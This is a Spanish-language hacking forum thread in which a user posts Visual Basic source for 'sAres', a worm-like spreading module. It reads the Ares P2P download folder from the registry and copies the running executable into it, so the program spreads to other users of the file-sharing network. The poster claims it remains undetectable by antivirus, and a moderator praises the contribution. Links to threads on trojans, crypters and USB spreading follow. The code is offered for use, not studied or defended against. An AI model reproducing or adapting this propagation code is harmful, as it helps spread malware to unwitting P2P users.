comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Funcion] sAres - Spread Ares (Basico)

  • 1 Respuestas
  • 1407 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
    • Ver Perfil
  • Skype: k0wsit0
« en: Marzo 31, 2012, 06:23:54 pm »
Bueno,aqui os dejo este modulo que programe hace un tiempo.
Al dia de hoy sigue FUD.


Código: Visual Basic
  1. 'sAres Spread Via Ares.
  2. 'Autor:k0ws
  3. 'Respeta el autor.
  4. Public Function sAres()
  5. Dim Lector, Ruta As String, RutaCom As String
  6. Set Lector = CreateObject("wscript.shell")
  7. Ruta = Lector.RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder")
  8. RutaCom = HEX2ASCII(Ruta)
  9. FileCopy App.Path & "\" & App.EXEName & ".exe", RutaCom & "\" & App.EXEName & ".exe"
  10. End Function
  11. Public Function HEX2ASCII(ByVal hextext As String) As String
  12.     For y = 1 To Len(hextext)
  13.     num = Mid(hextext, y, 2)
  14.     Value = Value & Chr(Val("&h" & num))
  15.     y = y + 1
  16. Next y
  17. HEX2ASCII = Value
  18. End Function

-Saludos-
« Última modificación: Enero 31, 2013, 02:10:50 pm por k0ws »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5400
  • Actividad:
    40%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Marzo 31, 2012, 06:25:37 pm »
Excelete aporte man! muchisimas gracias!


 

¿Te gustó el post? COMPARTILO!



Troyano Basico [Conexión Inversa]

Iniciado por CDT-212

Respuestas: 4
Vistas: 3503
Último mensaje Febrero 08, 2013, 10:47:39 am
por Sanko
Crear crypter basico by m3x1c0h4ck

Iniciado por m3x1c0h4ck

Respuestas: 14
Vistas: 7666
Último mensaje Julio 11, 2013, 09:58:53 pm
por Snake0.0
[VB] xCopyVBasic (Funcion Copiar archivo)

Iniciado por ProcessKill

Respuestas: 0
Vistas: 2190
Último mensaje Febrero 22, 2010, 04:45:21 pm
por ProcessKill
[VB] USB - Spread

Iniciado por ProcessKill

Respuestas: 1
Vistas: 1501
Último mensaje Febrero 22, 2010, 04:57:47 pm
por OSX